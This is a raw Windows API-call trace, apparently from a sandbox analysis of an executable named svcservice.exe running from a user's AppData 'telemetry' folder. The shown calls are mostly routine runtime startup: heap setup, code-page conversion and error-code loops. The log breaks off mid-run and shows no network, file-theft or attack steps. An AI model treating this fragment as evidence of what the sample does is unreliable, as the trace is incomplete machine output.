[0125.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0x5c6e10, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f020, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f020*(BaseAddress=0x5c6000, AllocationBase=0x0, AllocationProtect=0x5b0000, RegionSize=0x0, State=0x4, Protect=0xfffff800, Type=0x1a000), ResultLength=0x0) returned 0x0
[0125.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0x17fa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f020, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f020*(BaseAddress=0x17fa000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff800, Type=0x6000), ResultLength=0x0) returned 0x0
[0126.653] NtQuerySystemInformation (in: SystemInformationClass=0x0, SystemInformation=0x18f498, Length=0x2c, ResultLength=0x0 | out: SystemInformation=0x18f498, ResultLength=0x0) returned 0x0
[0126.653] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x18f4e0, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x18f4e0, ReturnLength=0x0) returned 0x0
[0126.654] NtQueryInformationThread (in: ThreadHandle=0xfffffffe, ThreadInformationClass=0x0, ThreadInformation=0x18f4c4, ThreadInformationLength=0x1c, ReturnLength=0x0 | out: ThreadInformation=0x18f4c4, ReturnLength=0x0) returned 0x0
[0126.655] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f784, ThreadInformationLength=0x4) returned 0x0
[0126.655] NtDelayExecution (Alertable=0, Interval=0x18f5e8*=0) returned 0x0
[0126.656] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f784, ThreadInformationLength=0x4) returned 0xc000000d
[0126.656] NtDelayExecution (Alertable=0, Interval=0x18f5e8*=0) returned 0x0
[0126.657] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f784, ThreadInformationLength=0x4) returned 0xc000000d
[0126.658] NtDelayExecution (Alertable=0, Interval=0x18f5e8*=0) returned 0x0
[0126.658] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f784, ThreadInformationLength=0x4) returned 0xc000000d
[0126.659] NtDelayExecution (Alertable=0, Interval=0x18f5e8*=0) returned 0x0
[0126.663] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0x18f4d4, ThreadInformationLength=0x4) returned 0x0
[0126.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e24c | out: lpSystemTimeAsFileTime=0x18e24c*(dwLowDateTime=0xa62fb83f, dwHighDateTime=0x1d96e12))
[0126.664] GetCurrentProcessId () returned 0xdac
[0126.664] GetCurrentThreadId () returned 0xda8
[0126.664] GetTickCount () returned 0x14f1fcf
[0126.664] QueryPerformanceCounter (in: lpPerformanceCount=0x18e244 | out: lpPerformanceCount=0x18e244*=2212505177848) returned 1
[0126.664] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2d90000
[0126.665] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0126.665] GetProcAddress (hModule=0x76840000, lpProcName="FlsAlloc") returned 0x7685a980
[0126.665] GetProcAddress (hModule=0x76840000, lpProcName="FlsGetValue") returned 0x76857570
[0126.665] GetProcAddress (hModule=0x76840000, lpProcName="FlsSetValue") returned 0x76859e30
[0126.665] GetProcAddress (hModule=0x76840000, lpProcName="FlsFree") returned 0x76864ff0
[0126.667] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x214) returned 0x2d905a8
[0126.667] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0126.667] GetCurrentThreadId () returned 0xda8
[0126.667] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
[0126.667] GetEnvironmentStringsW () returned 0x5cb878*
[0126.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1440
[0126.668] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x5a0) returned 0x2d907c8
[0126.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0x2d907c8, cbMultiByte=1440, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1440
[0126.668] FreeEnvironmentStringsW (penv=0x5cb878) returned 1
[0126.668] GetStartupInfoW (in: lpStartupInfo=0x18e194 | out: lpStartupInfo=0x18e194*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0126.668] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x8, Size=0x800) returned 0x2d90d70
[0126.668] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0126.668] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0126.668] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0126.668] SetHandleCount (uNumber=0x20) returned 0x20
[0126.668] GetLastError () returned 0x6
[0126.668] SetLastError (dwErrCode=0x6)
[0126.668] GetLastError () returned 0x6
[0126.668] SetLastError (dwErrCode=0x6)
[0126.669] GetLastError () returned 0x6
[0126.669] SetLastError (dwErrCode=0x6)
[0126.669] GetACP () returned 0x4e4
[0126.669] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x220) returned 0x2d91578
[0126.669] GetLastError () returned 0x6
[0126.669] SetLastError (dwErrCode=0x6)
[0126.669] IsValidCodePage (CodePage=0x4e4) returned 1
[0126.669] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e15c | out: lpCPInfo=0x18e15c) returned 1
[0126.669] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18dc28 | out: lpCPInfo=0x18dc28) returned 1
[0126.669] GetLastError () returned 0x6
[0126.669] SetLastError (dwErrCode=0x6)
[0126.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e03c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0126.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e03c, cbMultiByte=256, lpWideCharStr=0x18d9a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ孪ÑĀ") returned 256
[0126.669] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ孪ÑĀ", cchSrc=256, lpCharType=0x18dc3c | out: lpCharType=0x18dc3c) returned 1
[0126.669] GetLastError () returned 0x6
[0126.669] SetLastError (dwErrCode=0x6)
[0126.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e03c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0126.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e03c, cbMultiByte=256, lpWideCharStr=0x18d978, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0126.669] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0126.669] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d768, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
[0126.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18df3c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ]ä4
tá\x18", lpUsedDefaultChar=0x0) returned 256
[0126.670] GetLastError () returned 0x6
[0126.670] SetLastError (dwErrCode=0x6)
[0126.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e03c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0126.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e03c, cbMultiByte=256, lpWideCharStr=0x18d998, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0126.670] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0126.670] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d788, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
[0126.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18de3c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ]ä4
tá\x18", lpUsedDefaultChar=0x0) returned 256
[0126.670] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xd24320, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0126.670] GetLastError () returned 0x0
[0126.670] SetLastError (dwErrCode=0x0)
[0126.670] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.671] SetLastError (dwErrCode=0x0)
[0126.671] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.672] SetLastError (dwErrCode=0x0)
[0126.672] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.673] SetLastError (dwErrCode=0x0)
[0126.673] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.674] GetLastError () returned 0x0
[0126.674] SetLastError (dwErrCode=0x0)
[0126.675] GetLastError () returned 0x0
[0126.675] SetLastError (dwErrCode=0x0)
[0126.675] GetLastError () returned 0x0
[0126.675] SetLastError (dwErrCode=0x0)
[0126.675] GetLastError () returned 0x0
[0126.675] SetLastError (dwErrCode=0x0)
[0126.675] GetLastError () returned 0x0
[0126.675] SetLastError (dwErrCode=0x0)
[0126.675] GetLastError () returned 0x0
[0126.675] SetLastError (dwErrCode=0x0)
[0126.675] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.676] GetLastError () returned 0x0
[0126.676] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] RtlAllocateHeap (HeapHandle=0x2d90000, Flags=0x0, Size=0x47) returned 0x2d917a0
[0126.677] GetLastError () returned 0x0
[0126.677] SetLastError (dwErrCode=0x0)
[0126.677] GetLastError () returned 0x0
